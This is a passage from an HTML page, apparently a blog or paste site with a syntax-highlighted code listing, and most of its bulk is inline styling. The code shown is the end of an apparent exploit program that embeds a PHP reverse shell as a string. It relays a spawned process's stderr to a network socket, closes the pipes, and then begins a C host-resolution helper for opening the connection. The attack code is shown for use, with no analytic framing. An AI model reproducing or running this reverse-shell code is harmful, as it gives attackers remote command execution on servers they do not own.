webkit-text-stroke-width: 0px">"&nbsp;&nbsp; if (in_array($pipes[2], $read_a)) {\n" \</DIV>

<DIV class="line number170 index169 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($debug) printit(\"STDERR READ\");\n" \</DIV>

<DIV class="line number171 index170 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $input = fread($pipes[2], $chunk_size);\n" \</DIV>

<DIV class="line number172 index171 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($debug) printit(\"STDERR: $input\");\n" \</DIV>

<DIV class="line number173 index172 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwrite($sock, $input);\n" \</DIV>

<DIV class="line number174 index173 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; }\n" \</DIV>

<DIV class="line number175 index174 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"}\n" \</DIV>

<DIV class="line number176 index175 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"\n" \</DIV>

<DIV class="line number177 index176 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"fclose($sock);\n" \</DIV>

<DIV class="line number178 index177 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"fclose($pipes[0]);\n" \</DIV>

<DIV class="line number179 index178 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"fclose($pipes[1]);\n" \</DIV>

<DIV class="line number180 index179 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"fclose($pipes[2]);\n" \</DIV>

<DIV class="line number181 index180 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"proc_close($process);\n" \</DIV>

<DIV class="line number182 index181 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"function printit ($string) {\n" \</DIV>

<DIV class="line number183 index182 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; if (!$daemon) {\n" \</DIV>

<DIV class="line number184 index183 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print \"$string\n\";\n" \</DIV>

<DIV class="line number185 index184 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; }\n" \</DIV>

<DIV class="line number186 index185 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"}\n" \</DIV>

<DIV class="line number187 index186 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"exit(1);\n" \</DIV>

<DIV class="line number188 index187 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"?&gt;";</DIV>

<DIV class="line number189 index188 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;</DIV>

<DIV class="line number190 index189 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">struct sockaddr_in *gethostbyname_(char *hostname, unsigned short port)</DIV>

<DIV class="line number191 index190 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">{</DIV>

<DIV class="line number192 index191 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;struct hostent *he;</DIV>

<DIV class="line number193 index192 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;struct sockaddr_in server, *servercopy;</DIV>

